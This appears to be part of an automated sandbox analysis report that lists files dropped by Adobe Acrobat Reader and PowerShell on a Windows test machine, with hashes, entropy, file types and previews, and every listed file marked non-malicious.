SHA-512:	6023AD872BA8534665258EC3FE16819F6D14DC60209ACA05433CE8F1DB1DBFF388AB9002577458A4D30BFB852D90B53EC8DD55F482AF1EDEFA62D6D6F67AB999
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.30359016735017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJf+dPeUkwRe9:YvXKXX5epuUitoTZG28Ukee9
MD5:	21901609A247E3C510FCC3D20B863CC8
SHA1:	1F67745238062E81FE56D4B3563CCEF8E1514D1B
SHA-256:	87A7951E53D5C9861C94B7398FCC778E04FA3C5C94D811B0E68ECD41843F6F43
SHA-512:	54451CC6718F876B3948823139DF185197FF584686547A6008F2760487CF7EF589E8304D96E0251427BAF87FA7E5A56587598BE56840AEEC84E03098F5B6CCCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.300373174039163
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfbPtdPeUkwRe9:YvXKXX5epuUitoTZGDV8Ukee9
MD5:	D0622FC42B80E1C02CA46171CB8F97EE
SHA1:	0E1F19F781DDF5CF9330AD3395792EF4FF3E6BFC
SHA-256:	63E692C764BD357ADCCDC84543420B15859A3D3E2C9760CD59DFA90FFD9C841F
SHA-512:	52CEEE8C0539F052B65E55A8B8FF12BCE1089EA871462B23F9B5361DADCBEB0ACDF8B3CF81D6DB179F0009C1C8D3D6BF743EB5E3359E9DE9A49EA56700344836
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.302280903097645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJf21rPeUkwRe9:YvXKXX5epuUitoTZG+16Ukee9
MD5:	28AC80A1448BF1E3179863F9C661C632
SHA1:	2E14739AE0F9716F1CB98022E7D5B5AAF693128B
SHA-256:	663712C98B617CECC92F61D0FB32E89F215824C56F65AC0515954C9C8127BE09
SHA-512:	659B619AF4FFE4DDD340A64DA39E7B5E308BAE1756EEC58AB23717706CA99D5E8A6B31129ABCA722CA53F2C6C360AE9F8F9D29E4DF0102B231FC5901B4DA3EA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667977847111549
Encrypted:	false
SSDEEP:	24:Yv6XXy26TiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2:YvMy26T8BgkDMUJUAh8cvM2
MD5:	B3812CCA6C5A674ADABB50489056418F
SHA1:	92E1696498A14F97E98AD91BA2EA8AEFD070B878
SHA-256:	34F81BA59D89BA54B0F372B14BD703BA05253F4299D3E3666A1E5D60C1FDF9F8
SHA-512:	E28DA15752A091B0717E9BA6E0345955EC03981F0CF3CE0C3A9B01EB16D4367005E7FD00C809D93DDB55F7C9017BDA8E7B32FAA761A8499C61DC28F0AE57C09C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.278401393865589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJfshHHrPeUkwRe9:YvXKXX5epuUitoTZGUUUkee9
MD5:	886EC241097F7CA2D18CECDBCDE71330
SHA1:	F84BEF24C40A66D1C956097D80FA9AB452304B6C
SHA-256:	E45BD0ED78495E1AAC98584F78519E1165E8AE0CE2D3917FDBAFC15FF0F11404
SHA-512:	49D8C680EB4B94FC406F9C050C3F34DFC5F505F2E075A12F89BF2BB37509828629A14A3E4216123DD80DC3B817FF3A23774A1FD793A1F4AE5AA26F2E8A507D60
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282184097715865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPUkPBeplMUib5Glvp0YV5qoAvJTqgFCrPeUkwRe9:YvXKXX5epuUitoTZGTq16Ukee9
MD5:	A21A9A04E459104C02182F3F1086B205
SHA1:	EA3189BCBF93035835765EA8A94B3CA01F017DC3
SHA-256:	33FE401A9084BA6E24ECD2DD050E8CC38A07AC41E481E17EF55ACC35DBCBF198
SHA-512:	B03D209D4B714B1773E4DC63B47FE19C722CD844A137A2D37E6695CB7E5A608A6F307FEC753929B3C847A669836450CC5CF7B8227553990D04B24196AB7E4BFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"81ed7904-740b-4edf-b91a-fa207d9b6980","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736749826811,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137009948237987
Encrypted:	false
SSDEEP:	24:YYSapxayHsCEvaKLGAqyrtMg4Ojp32j0SuHN7BCK2R32LSgCzdWbM6Tt5oZ9iu2j:YrvvjLGAvtMg/p3IQF923CkdWbM6hq9y
MD5:	64B6E559D05CB6B4CC760919D9C75BF7
SHA1:	E90F958D9E2984CBBD22C650AE702DFF0BF27F59
SHA-256:	41B17CACFA63B20DDAB410AFDEA3FE1306DF534B44A59270F6F935996A26DED2
SHA-512:	2F7A5D7D0770E719A5CE17776105174362F77C99719C90D115EA32F7CC6F4DD108CC0C9E5F37FBC887D0D1406832B6933EC4D8CF45384D6DC192DBE8FE53BA3B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3d9e7d87e71e3b52368a4ecbb230b853","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736576411000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"aee8a26e82b756359dbefb861481c673","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736576411000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"18c22ef61a23ee1f66f6605dda0d4073","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736576411000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8a9a55fff1440954d28f4281f106d996","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736576411000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"97a259e1c4b0092fb9a09f0d16f3d3e9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736576411000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f5bc2fc0ee57a93aad79d4fc0246e2d6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.456882883492029
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2dgVLviuFuI7P8gD:/VmsrhoGgt5Zg8p7X
MD5:	B874195DABDE1EE8A4C9CB280E58DE70
SHA1:	9AAA71602AD342125DB59D5CC36118E191FBD8ED
SHA-256:	0502B979767FE241BC5E276C331DDB33341CC5FF0877ACB4D19C012EDF56B70E
SHA-512:	3CCD1AC0D1F57FF6AAC50D40862496C42EA1BB79EA4DD087E66255FC6130BE1829D6E2A0AB40267AF107330AF5992F956E3CCDDB094CC8351D6B91A1D44B4172
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9637607981007335
Encrypted:	false
SSDEEP:	48:7MihoGgpP5ZgrI2dgiLviuFuI7PehSqVl2GL7msB:7LhoGgt5ZgFp72hSaVmsB
MD5:	2AC082F2622CC3DDBB555E38E868A2C0
SHA1:	2BC7F4AE16D6A56D7CB1772881BD95FF73E72974
SHA-256:	CD6BFBE964C207F795104F61AB81DE4A047688E7C720C0E28037D6FC3EFAA12A
SHA-512:	9017E830A8B6984CEDFD29898347BC1F34984D7009441608964044C168BE0D4CDCA2AF25D75DC94973A1522F4F2F26FDE97DB67FF0524FFD4853C3909A6B5CE2
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgjFHo+AyjoM2tbMh0BgL40gRSYyu:6a6TZ44ADEjF1AyjAtbgg4K
MD5:	FE71CE178FFAE25904335C23877AE7EE
SHA1:	0325A2EEFD7ABC6C921FC6227B80030C3E484263
SHA-256:	6E8A97127EECEE114C0545A3291394CE1FA86CF26397BB04EC09AD850304211F
SHA-512:	44C1860A2CD62EE5952331B9D64FD23CBA24D01AEB6B59C768FB820C0C7EE1F6C498D1798E8432A046193A90F6B8B6EAF59FF1343E5153D59AD17D693DA06D52
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI4760f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4719733042283556
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8EYlYH:Qw946cPbiOxDlbYnuRKdYYlYH
MD5:	E6353A4437A382543BEA4F7D1A73A1D8
SHA1:	EE670701E3C2F9E7A372646848D843594C6F32F3
SHA-256:	9DFEED3AE532F3D8EC87FD6742FCB6769E98B1BD6603D819A09F337FE333A995
SHA-512:	80615EB2446C0B9498127F18FD8EE6F4CA7AEC2E8107127B646FA98B3AC903ADDA15ECC9DA9CB641B853DEA271915FA4C6A1845A81EA2DE11C4D0FC4DE3B813A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.2.0.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1hjpd1zm.hc0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbeb31sy.kig.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-20-05-264.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3498537630171095
Encrypted:	false
SSDEEP:	384:QR141Fdw7BqCvnoMBxBWbpC/f8HIHtNwcSwa8Er9QMUcmpdnXorgFSFMdJ/OCFtU:emx
MD5:	13EA5F37DB9D672F5D55A1650031DE6C
SHA1:	E7E2A98F50E1E48820F680B9B08A705AA92A6648
SHA-256:	60BAA4622A186E229B5861D90A8899658FA20F37FA8E330D3552EF58C6F02636
SHA-512:	D0BD4DA341C926B9D8A130A3244C0050ED03DCCA49B84427A8C8E5B2F8736E7F0CC7DE65C8E49CF9CB449631F310339C8B72943C766B63216808F5A4592EA38E
Malicious:	false
Preview:	SessionID=16dcfa17-d32c-47ef-866b-e4ceb3992aa7.1736576405277 Timestamp=2025-01-11T01:20:05:277-0500 ThreadID=8160 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=16dcfa17-d32c-47ef-866b-e4ceb3992aa7.1736576405277 Timestamp=2025-01-11T01:20:05:278-0500 ThreadID=8160 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=16dcfa17-d32c-47ef-866b-e4ceb3992aa7.1736576405277 Timestamp=2025-01-11T01:20:05:278-0500 ThreadID=8160 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=16dcfa17-d32c-47ef-866b-e4ceb3992aa7.1736576405277 Timestamp=2025-01-11T01:20:05:278-0500 ThreadID=8160 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=16dcfa17-d32c-47ef-866b-e4ceb3992aa7.1736576405277 Timestamp=2025-01-11T01:20:05:278-0500 ThreadID=8160 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.3872954791820336
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbNcbuIRJcbp:2PLH8FVfpBJnYuRO
MD5:	1A06DEE5281E5E6460D08E3B7422B22A
SHA1:	2B98B17D33AEE2BA2601830992E558E3E2A7DFAE
SHA-256:	2D75AAC2B92B3676AA1B04BD3BF99FF5A14D0417EE345F29B65B7965306048F2
SHA-512:	B3820ABA9E025BF19C4629EF0DC62B8D6A9A5FC2B05D56B29A846E9D09473B34D630A71D384AF81A8A9695E0B0D74756C754526AFD283584E7B851BE173672F3
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\569aab5a-056e-4bd6-b77a-0f13130539e1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/LjeYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:DjeZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	E587955106616E59DCF13E4E21656BFC
SHA1:	6079487E51644CB0E4F733113103918DE68BFC49
SHA-256:	571920A40077BB5FD2DB81368190444CA1632A258FF66C968E8D7B587691F9E9
SHA-512:	7B83F24F9B304CB8D30B1C4009AC67226538DA59A9F31C70FE1F96CB2C0C126A40A721714C2BEB5665161D44B05D27FB226CAC041A992A677951CD7FEB622AAB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6117b8eb-8b5f-4d1e-8f79-3ec33e72a878.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o6dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWLaGZDwYIGNPJe:JVK3mlind9i4ufFXpAXkrfUs0qWLaGZo
MD5:	E2D3898B252F685B6C187FE7C62492A3
SHA1:	1FA2F497CE53AE15EDD9D8CE9B72546AE5541189
SHA-256:	9E695E2A257B6EC46781DB95275FEEA6AC9D081B5AFE73E53C84443CFB902149
SHA-512:	3577696982A2D84265EB08A626D0FF002AE2E20764460D060853B306E92CE4D44EB2BD3B7487C661D7797997DE9DB2FDCD48A5C673D9B50B484810D71F8477D3
Malicious:	false
